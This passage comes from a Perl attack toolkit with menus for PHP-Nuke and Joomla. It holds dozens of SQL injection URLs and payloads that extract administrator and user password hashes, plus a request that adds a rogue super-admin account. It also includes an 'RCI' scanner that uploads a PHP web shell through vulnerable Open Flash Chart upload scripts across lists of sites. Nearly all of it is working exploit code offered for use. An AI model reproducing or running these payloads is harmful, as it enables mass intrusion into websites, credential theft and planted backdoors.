  533.                         "modules.php?name=Sections&op=printpage&artid=-1%20UNION%20SELECT%20aid,pwd%20FROM%20nuke_authors",
  534.                         "modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/",
  535.                         "modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors",
  536.                         "modules.php?name=Downloads&d_op=viewdownloadeditorial&lid=-1%20UNION%20SELECT%20username,1,user_password,user_id%20FROM%20nuke_users",
  537.                         "modules.php?name=Downloads&d_op=viewdownloadcomments&lid=-1%20UNION%20SELECT%20username,user_id,user_password,1%20FROM%20nuke_users/",
  538.                         "modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors",
  539.                         "modules.php?name=Journal&file=search&bywhat=aid&exact=1&forwhat=kala",
  540.                         "index.php?&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox",
  541.                         "modules.php?name=Journal&file=search&bywhat=aid&exact=1&forwhat=kala'/**/UNION/**/SELECT/**/0,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*",
  542.                         "admin.php?op=AddAuthor&add_aid=x0p0x&add_name=God&add_pwd=cool&add_email=bugs@victima&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox",
  543.                         "modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/",
  544.                         "modules.php?name=Web_Links&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2",
  545.                         "modules.php?name=Web_Links&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2",
  546.                         "modules.php?name=Web_Links&l_op=viewlink&cid=0%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors",
  547.                         "modules.php?name=Downloads&d_op=getit&lid=-1%20UNION%20SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5",
  548.                         "modules.php?name=Web_Links&l_op=viewlinkeditorial&lid=-1%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors",
  549.                         "modules.php?op=modload&name=books&file=index&req=view_cat&cid=-90900%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/char(111,112,101,114,110,97,108,101,51),concat(pn_uname,0x3a,pn_pass)+from%2F%2A%2A%2Fnuke_users/*where%20admin%201=%201",
  550.                         "modules.php?op=modload&name=books&file=index&req=view_cat&cid=-90900%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/char(121,122,111,104,110,97,112,101,54),concat(pn_uname,0x3a,pn_pass)+from%2F%2A%2A%2FpostNuke_users/*where%20admin%201=%201",
  551.                         "modules.php?name=Sections&op=viewarticle&artid=-9999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2",
  552.                         "modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*",
  553.                         "modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*","modules.php?name=Okul&op=okullar&okulid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*",
  554.                         "modules.php?name=Docum&op=viewarticle&artid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%20%20/**/0,1,aid,pwd,4/**/from/**/nuke_authors/*where%20admin%20-2",
  555.                         "modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/aid,2/**/from/**/nuke_authors/*where%20admin%20-2",
  556.                         "modules.php?name=Inhalt&sop=listpages&cid=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2",
  557.                         "modules.php?name=Manuales&d_op=viewdownload&cid=1/**/union/**/select/**/0,aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*",
  558.                         "modules.php?name=Siir&op=print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202",
  559.                         "modules.php?name=NukeC&op=ViewCatg&id_catg=-1/**/union/**/select/**/pwd,2/**/from/**/nuke_authors/*where%20admin%20-2",
  560.                         "modules.php?name=Kose_Yazilari&op=viewarticle&artid=-11223344%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,aid,pwd,4,5%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors",
  561.                         "modules.php?name=Kose_Yazilari&op=printpage&artid=-99999999%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F0,pwd,aid,3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors",
  562.                         "modules.php?op=modload&name=My_eGallery&file=index&do=showgall&gid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*");
  563. system('cls');
  564. print "PhpNuke SQl Scanner\n";
  565. print "Enter Target (http://www.target.il/)\n";
  566. print ">>";
  567. my $nuketarget = <>;
  568. chomp $nuketarget;
  569.  
  570. foreach $Nuke(@Nuke){
  571. my $URLL = $nuketarget.$Nuke;
  572. my $Sourcee = get $URLL;
  573. die "Can not get $URLL" unless defined $URLL;
  574. if ($Sourcee =~/([0-9a-f]{32})/) { $Messagee ="Vulnerability FOUND";}
  575. else { $Messagee = "NOT FOUND Vulnerability";}
  576. print "$URLL     =>    $Messagee\n";
  577. print "\n \n \n \n \t \t \t \t FINISH ";
  578. open (TEXT, '>>Nuke.txt');
  579. print TEXT "\n$URLL   =>   $Messagee \n\n";
  580. close (TEXT);
  581. }
  582. }
  583. if($targett eq '6')
  584. {
  585. system('cls');
  586. system('title Base64 Decoder');
  587. print color("green"),"Enter String Base64 you want Decode:";
  588.                                                         $decode=<STDIN>;
  589.                                                         chomp $decode;
  590.                                                         $zeb=decode_base64($decode);
  591.                                                         print " Decoded success : \n\n $zeb \n";
  592. }
  593. if($targett eq '5')
  594. {
  595. system('cls');
  596. system('title Base64 Encoder');
  597. print color("green"),"Base64 Encoder\n";
  598. print " Enter String:";
  599.                                                 $hash=<STDIN>;
  600.                                                 chomp $hash;
  601.                                                 $t=encode_base64($hash);
  602.                                                 print "Encoded Succes : \n\n $t \n";
  603.  
  604.  
  605. }
  606. if($targett eq '1')
  607. {
  608. system('cls');
  609. print color("green"),"\n[1] Joomla RCI Scanner\n";
  610. print color("green"), "[2] Joomla SQL Scanner\n";
  611. print color("green"), "[3] Joomla LFI Scanner\n";
  612. print color("green"), "[4] Joomla RFI Scanner\n";
  613. print color("green"), "[5] Joomla JCE Vuln\n";
  614. print color("green"), "\nChoose Number :";
  615. my $c = <>;
  616. chomp $c;
  617. if($c eq '1')
  618. {  #Script Original Coded by M-A Labz
  619. system('cls');
  620. system('title Joomla Component RCI scanner');
  621. print color("bold red"),"\n[+]Joomla Components RCI Exploits Scanner \n";
  622. print color 'reset';
  623. print color("green"),"[+] Enter File (List of site file) : ";
  624. print color 'reset';
  625. $file=<STDIN>;
  626. chomp($file);
  627. open (file, "<$file") || die "[-] Can't open the List of site file !";
  628. my @file = <file>;
  629. close file;
  630. foreach $webs (@file)
  631. {
  632. chomp $webs;
  633. $site = $webs;
  634. print color("green"), "[+] Scanning $site\n";
  635. print color 'reset';
  636. @paths=('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php','/administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php','/administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php','/administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php','/administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php','/administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php');
  637. foreach $path(@paths)
  638. {
  639. $site_vul = "http://".$site."".$path."?name=tt7.php";
  640. $data = "php code";
  641. $data.= ' <title>Evil Upload</title> ';
  642. $data.= ' <h1>Evil Upload</h1> ';
  643. $data.= '<?php ';
  644. $data.= "echo '<b><br><br>'.php_uname().'<br></b>'; ";
  645. $data.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; ';
  646. $data.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; ';
  647. $data.= "if( \$_POST['_upl'] == \"Upload\" ) { ";
  648. $data.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } ";
  649. $data.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } ";
  650. $data.= " } ";
  651. $data.= "?>";
  652. $res = $ua->request(POST $site_vul,Content_Type => 'text/plain', Content => $data);
  653. if ($res->is_success){
  654. print color("green"), "[+] $site is vul\n";
  655. print color 'reset';
  656. @vulns=('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/tt7.php','/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/tt7.php','/administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/tt7.php','/administrator/components/com_jinc/classes/graphics/tmp-upload-images/tt7.php','/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/tt7.php','/administrator/components/com_jnews/includes/openflashchart/tmp-upload-images/tt7.php');
  657. foreach $vul(@vulns)
  658. {
  659. $url = "http://".$site. $vul;
  660. $request = HTTP::Request->new(GET=>$url);
  661. $useragent = LWP::UserAgent->new();
  662. $response = $useragent->request($request);
  663. if ($response->content=~m/<title>Evil Upload<\/title>/g){
  664. print color("green"), "[+] Found => $url\n\n";
  665. print color 'reset';
  666. open(BEN,">>result-$site.txt");
  667. print BEN "$url\n";
  668. close(BEN);
  669. }else{
  670. print "[-] Not Found \n";
  671. }
  672. }
  673. }
  674. }
  675. }
  676. }
  677. if($c eq '2')
  678. {
  679. system('cls');
  680. system('title Joomla Sql Scanner');
  681. ###xpl###
  682. $com_jeajaxeventcalendar="/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4/**/from/**/jos_users--";
  683. $com_storedirectory="UNION SELECT 1,2,concat_ws(0x3a,username,email,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from jos_users";
  684. $com_annuaire="/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users--";
  685. $com_maianmedia="+union+all+select+1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+jos_users--";
  686. $com_alfurqan15x="+UNION+ALL+SELECT+1,concat_ws(0x3a,username,0x3a,password)kaMtiEz,3,4,5+from+jos_users--";
  687. $com_markt="+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--";
  688. $com_sponsorwall="+and+1=0+union+select+1,2,concat(username,0x3a,password)fl0rix,4,5,6,6,7,8,9,10+from+jos_users--";
  689. $com_flipwall="+union+select+1,2,3,4,5,concat(username,0x3a,password)fl0rix,7,8,9,10+from+jos_users--";
  690. $jedirectory="+1+union+select+1,2,concat(0x23,0x23,0x23,0x23,0x23,id,0x23,0x23,0x23,0x23,0x23),4,5,6,7,8,9,10,11+from+jos_users+where+id=userid--";
  691. $com_ezautos="+and+0+union+select+1,2,concat(username,0x3a,password),4,5,6,7+from+%23__users+where+gid=25+or+gid=24+and+block%3C%3E1--";
  692. $com_arash="+and 1=0 UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from jos_users";
  693. $com_taxes="+union+all+select+1,group_concat(username,0x3a,password,0x3a,email,0x3a,usertype),3,4,5,6,7,8,9,10,11+from+jos_users--";
  694. $com_vat="+union+all+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+jos_users--";
  695. $com_blogs="/**/ AND /**/ 1=2 /**/ UNION /**/ SELECT /**/ 0,1,2,3,version(),database(),concat(username,0x3a,password) /**/ from /**/ jos_users--";
  696. $com_gr="+union+select+1,concat(username,0x3a,password)+from+jos_users--";
  697. $com_simpleshop="UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--";
  698. $com_youtube="union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users--";
  699. $com_joomdle="-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz";
  700. $com_itaromry="?filter_search=&filter_level=1&filter_race=*&filter_class=8+and+1=2+union+all+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+from+jos_users--+";
  701. $com_iproperty="/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--";
  702. $com_huruhelpdesk="/**/union/**/select/**/1,2,3,concat%28username,0x3a,password%29,5,6,7+from+jos_users--";
  703. $com_jomtube="+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube";
  704. $com_spa="%20UNION%20SELECT%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13%20from%20jos_users--";
  705. $com_staticxt="+union select+concat_ws(0x3a,username,password),2,3,4,5,6,7,8,9,10,11,12+from+jos_users";
  706. $com_ybggal="+and+1=2+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5+from+jos_users--";
  707. $com_quran="/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password,0x3a,email,0x3a,activation,0x3c62723e)r3m1ck,3,4,5/**/FROM/**/jos_users--";
  708. $com_konsultasi="/**/union/**/select/**/all/**/1,2,3,4,concat(username,0x3a,password)c4uR,6,7,8,9/**/from/**/jos_users--";
  709. $com_newsfeeds="%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--";
  710. $wapmain="+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--";
  711. $com_abc="+union+select+1,group_concat(0x3a,username,0x3a,password,0x3a)+from+jos_users--";
  712. $com_joomradio="+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--";
  713. $com_jtm="/**/union/**/all/**/select/**/concat_ws(0x3a,username,password)/**/from/**/jos_users--&task=search";
  714. $com_gbufacebook="+UNION+ALL+SELECT+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--+and+'kaMtiEz'='kaMtiEz";
  715. $com_manager="/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--";
  716. $com_jp_jobs="/**/union/**/all/**/select/**/1,2,group_concat(username,char(58),password)v3n0m,4,5,6,7,8,9,10,11,12,13,14/**/from/**/jos_users--";
  717. $com_sermonspeaker="/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/";
  718. $com_jdrugstopic="+UNION+SELECT+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13+from+jos_users--";
  719. $com_mv_restaurantmenumanager="+and+1=2+union+select+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+jos_users";
  720. $com_articles="+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10+from+jos_users—-";
  721. $com_dcs_flashgames="+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--";
  722. $com_bidding="+UNION ALL SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from jos_users--";
  723. $com_acteammember="+UNION+SELECT+1,2,3,4,5,concat(username,0x20,password),7,8,9,10,11,12,13,14,15+from+mos_users--&Itemid=121&lang=en";
  724. $com_acstartseite="+and+1=2+union+select+1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mos_users&#9001;=de";
  725. $com_productbook="+UNION all SELECT 1,2,3,concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+from+condev.jos_users--";
  726. $com_yelp="+UNION+ALL+SELECT+1,2,3,concat_ws(0x3a3a3a,username,password),5,6,concat_ws(0x3a3a3a,username,password),8,9,10,11,12,13,14,15,16,17+FROM+jos_users--";
  727. $com_dms="+union+all+select+666,666,666,666,666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666+from+jos_users--";
  728. $com_jbpublishdownfp="+union+all+select+concat(username,0x3A3A3A,password)+from+jos_users";
  729. $com_casino="+union+all+select+1,username,password,4,5+from+jos_users/*";
  730. $com_doqment="/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--";
  731. $com_alfresco="/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixf0r3v3r,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/from/**/jos_users--";
  732. $com_countries="/**/union/**/select/**/concat(username,0x3a,password)fl0f0r3v3r/**/from/**/jos_users";
  733.  
  734.  
  735.  
  736.  
  737. print color("green"),"\nTarget page: http://wwww.site.com/ : ";
  738. chomp(my $target=<STDIN>);
  739.  
  740. $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
  741. $b->agent('Mozilla/5.0 (compatible; MSIE 7.0; Windows)');
  742. $host = $target . "/index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-999 .$com_jeajaxeventcalendar.";
  743. $res = $b->request(HTTP::Request->new(GET=>$host));
  744. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){
  745. print "[*] Results : CHECK : \n";
  746. print "Joomla JE Ajax Event Component (com_jeajaxeventcalendar) SQL Injection Vulnerability ! \n\n";
  747. }
  748. else{print "\n[-] Error\n";
  749. }
  750.  
  751. $host = $target . "/index.php?option=com_storedirectory&task=view&id=-999 .$com_storedirectory.";
  752. $res = $b->request(HTTP::Request->new(GET=>$host));
  753. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){
  754. print "[*] Results : CHECK : \n";
  755. print "Joomla Component (com_storedirectory) SQL Injection Vulnerability ! \n\n";
  756. }
  757. else{print "\n[-] Error\n";
  758. }
  759.  
  760. $host = $target . "/index.php?option=com_annuaire&view=annuaire&type=cat&id=-999 .$com_annuaire.";
  761. $res = $b->request(HTTP::Request->new(GET=>$host));
  762. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  763. print "[*] Results : CHECK : \n";
  764. print "Joomla (com_annuaire) SQL Injection Vulnerability ! \n\n";
  765. }
  766. else{print "\n[-] Error\n";
  767. }
  768.  
  769. $host = $target . "/index.php?option=com_maianmedia&view=music&cat=-999 .$com_maianmedia.";
  770. $res = $b->request(HTTP::Request->new(GET=>$host));
  771. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  772. print "[*] Results : CHECK : \n";
  773. print "Joomla Component (com_maianmedia) SQL Injection Vulnerability ! \n\n";
  774. }
  775. else{print "\n[-] Error\n";
  776. }
  777.  
  778. $host = $target . "/index.php?option=com_alfurqan15x&action=viewayat&surano=-999 .$com_alfurqan15x.";
  779. $res = $b->request(HTTP::Request->new(GET=>$host));
  780. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  781. print "[*] Results : CHECK : \n";
  782. print "Joomla Component (com_alfurqan15x) SQL Injection Vulnerability ! \n\n";
  783. }
  784. else{print "\n[-] Error\n";
  785. }
  786.  
  787. $host = $target . "/index.php?option=com_markt&page=show_category&catid=999 .$com_markt.";
  788. $res = $b->request(HTTP::Request->new(GET=>$host));
  789. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  790. print "[*] Results : CHECK : \n";
  791. print "Joomla Component (com_markt) SQL Injection Vulnerability ! \n\n";
  792. }
  793. else{print "\n[-] Error\n";
  794. }
  795.  
  796. $host = $target . "/index.php?option=com_sponsorwall&controller=sponsorwall&catid=9999 .$com_sponsorwall.";
  797. $res = $b->request(HTTP::Request->new(GET=>$host));
  798. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  799. print "[*] Results : CHECK : \n";
  800. print "Joomla Component (com_sponsorwall) SQL Injection Vulnerability ! \n\n";
  801. }
  802. else{print "\n[-] Error\n";
  803. }
  804.  
  805. $host = $target . "/index.php?option=com_flipwall&controller=flipwall&catid=999 .$com_flipwall.";
  806. $res = $b->request(HTTP::Request->new(GET=>$host));
  807. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  808. print "[*] Results : CHECK : \n";
  809. print "Joomla Component (com_flipwall) SQL Injection Vulnerability ! \n\n";
  810. }
  811. else{print "\n[-] Error\n";
  812. }
  813.  
  814. $host = $target . "/index.php?option=com_jedirectory&view=item&catid=999 .$jedirectory.";
  815. $res = $b->request(HTTP::Request->new(GET=>$host));
  816. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  817. print "[*] Results : CHECK : \n";
  818. print "Joomla JE Directory SQL Injection Vulnerability ! \n\n";
  819. }
  820. else{print "\n[-] Error\n";
  821. }
  822.  
  823. $host = $target . "/index.php?option=com_ezautos&Itemid=999&id=1&task=helpers&firstCode=999 .$com_ezautos.";
  824. $res = $b->request(HTTP::Request->new(GET=>$host));
  825. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  826. print "[*] Results : CHECK : \n";
  827. print "Joomla Component (com_ezautos) SQL Injection Vulnerability ! \n\n";
  828. }
  829. else{print "\n[-] Error\n";
  830. }
  831.  
  832. $host = $target . "/index.php?option=com_arash&id=999 .$com_arash.";
  833. $res = $b->request(HTTP::Request->new(GET=>$host));
  834. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  835. print "[*] Results : CHECK : \n";
  836. print "Joomla Component (com_arash) SQL Injection Vulnerability ! \n\n";
  837. }
  838. else{print "\n[-] Error\n";
  839. }
  840.  
  841. $host = $target . "/index.php?option=com_taxes&id=-999 .$com_taxes.";
  842. $res = $b->request(HTTP::Request->new(GET=>$host));
  843. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  844. print "[*] Results : CHECK : \n";
  845. print "Joomla Component (com_taxes) SQL Injection Vulnerability ! \n\n";
  846. }
  847. else{print "\n[-] Error\n";
  848. }
  849.  
  850. $host = $target . "/index.php?option=com_vat&id=-999 .$com_vat.";
  851. $res = $b->request(HTTP::Request->new(GET=>$host));
  852. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  853. print "[*] Results : CHECK : \n";
  854. print "Joomla Component (com_vat) SQL Injection Vulnerability ! \n\n";
  855. }
  856. else{print "\n[-] Error\n";
  857. }
  858.  
  859. $host = $target . "/index.php?option=com_blogs&task=details&b_id=999 .$com_blogs.";
  860. $res = $b->request(HTTP::Request->new(GET=>$host));
  861. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  862. print "[*] Results : CHECK : \n";
  863. print "Joomla Component (com_blogs) SQL Injection Vulnerability ! \n\n";
  864. }
  865. else{print "\n[-] Error\n";
  866. }
  867.  
  868. $host = $target . "/index.php?option=com_blogs&task=details&b_id=-999 .$com_gr.";
  869. $res = $b->request(HTTP::Request->new(GET=>$host));
  870. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  871. print "[*] Results : CHECK : \n";
  872. print "Joomla Component (com_gr) SQL Injection Vulnerability ! \n\n";
  873. }
  874. else{print "\n[-] Error\n";
  875. }
  876.  
  877. $host = $target . "/index.php?option=com_simpleshop&Itemid=xx&task=viewprod&id=-999 .$com_simpleshop.";
  878. $res = $b->request(HTTP::Request->new(GET=>$host));
  879. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  880. print "[*] Results : CHECK : \n";
  881. print "Joomla Component (com_simpleshop) SQL Injection Vulnerability ! \n\n";
  882. }
  883. else{print "\n[-] Error\n";
  884. }
  885.  
  886. $host = $target . "/index.php?option=com_youtube&id_cate=999 .$com_youtube.";
  887. $res = $b->request(HTTP::Request->new(GET=>$host));
  888. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  889. print "[*] Results : CHECK : \n";
  890. print "Joomla Component (com_youtube) SQL Injection Vulnerability ! \n\n";
  891. }
  892. else{print "\n[-] Error\n";
  893. }
  894.  
  895. $host = $target . "/index.php?option=com_joomdle&view=detail&cat_id=1&course_id=.$com_joomdle.";
  896. $res = $b->request(HTTP::Request->new(GET=>$host));
  897. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  898. print "[*] Results : CHECK : \n";
  899. print "Joomla Component (com_joomdle) SQL Injection Vulnerability ! \n\n";
  900. }
  901. else{print "\n[-] Error\n";
  902. }
  903.  
  904. $host = $target . "/index.php?option=com_itarmory&view=guildmembers&Itemid=.$com_itarmory.";
  905. $res = $b->request(HTTP::Request->new(GET=>$host));
  906. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  907. print "[*] Results : CHECK : \n";
  908. print "Joomla Component (com_itarmory) SQL Injection Vulnerability ! \n\n";
  909. }
  910. else{print "\n[-] Error\n";
  911. }
  912.  
  913. $host = $target . "/index.php?option=com_iproperty&view=agentproperties&id=-999999 .$com_iproperty.";
  914. $res = $b->request(HTTP::Request->new(GET=>$host));
  915. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  916. print "[*] Results : CHECK : \n";
  917. print "Joomla Component (com_iproperty) SQL Injection Vulnerability ! \n\n";
  918. }
  919. else{print "\n[-] Error\n";
  920. }
  921.  
  922. $host = $target . "/index.php?option=com_huruhelpdesk&view=detail&cid[0]=999 .$com_huruhelpdesk.";
  923. $res = $b->request(HTTP::Request->new(GET=>$host));
  924. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  925. print "[*] Results : CHECK : \n";
  926. print "Joomla Component (com_huruhelpdesk) SQL Injection Vulnerability ! \n\n"
  927. }
  928. else{print "\n[-] Error\n";
  929. }
  930.  
  931. $host = $target . "/index.php?view=videos&type=member&user_id=-999 .$com_jomtube.";
  932. $res = $b->request(HTTP::Request->new(GET=>$host));
  933. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  934. print "[*] Results : CHECK : \n";
  935. print "Joomla Component (com_jomtube) SQL Injection Vulnerability ! \n\n"
  936. }
  937. else{print "\n[-] Error\n";
  938. }
  939.  
  940. $host = $target . "/index.php?option=com_spa&view=spa_read_more&pid=-999 .$com_spa.";
  941. $res = $b->request(HTTP::Request->new(GET=>$host));
  942. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  943. print "[*] Results : CHECK : \n";
  944. print "Joomla Component (com_spa) SQL Injection Vulnerability ! \n\n"
  945. }
  946. else{print "\n[-] Error\n";
  947. }
  948.  
  949. $host = $target . "/index.php?option=com_staticxt&staticfile=test.php&id=-999 .$com_staticxt.";
  950. $res = $b->request(HTTP::Request->new(GET=>$host));
  951. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  952. print "[*] Results : CHECK : \n";
  953. print "Joomla Component (com_staticxt) SQL Injection Vulnerability ! \n\n"
  954. }
  955. else{print "\n[-] Error\n";
  956. }
  957.  
  958. $host = $target . "/index.php?option=com_ybggal&Itemid=999&catid=999 .$com_ybggal.";
  959. $res = $b->request(HTTP::Request->new(GET=>$host));
  960. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  961. print "[*] Results : CHECK : \n";
  962. print "Joomla Component (com_ybggal) SQL Injection Vulnerability ! \n\n"
  963. }
  964. else{print "\n[-] Error\n";
  965. }
  966.  
  967. $host = $target . "/index.php?option=com_quran&action=viewayat&surano=999 .$com_quran.";
  968. $res = $b->request(HTTP::Request->new(GET=>$host));
  969. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  970. print "[*] Results : CHECK : \n";
  971. print "Joomla Component (com_quran) SQL Injection Vulnerability ! \n\n"
  972. }
  973. else{print "\n[-] Error\n";
  974. }
  975.  
  976. $host = $target . "/index.php?option=com_konsultasi&act=detail&sid=999 .$com_konsultasi.";
  977. $res = $b->request(HTTP::Request->new(GET=>$host));
  978. $answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
  979. print "[*] Results : CHECK : \n";
  980. print "Joomla Component (com_konsultasi) SQL Injection Vulnerability ! \n\n"
  981. }
  982. else{print "\n[-] Error\n";
  983. }
  984.  
  985. $host = $target . "/index.php?option=com_newsfeeds&view=categories&feedid=-999 .$com_newsfeeds.";
  986. $res = $b->request(HTTP::Request->new(GET=>$host));
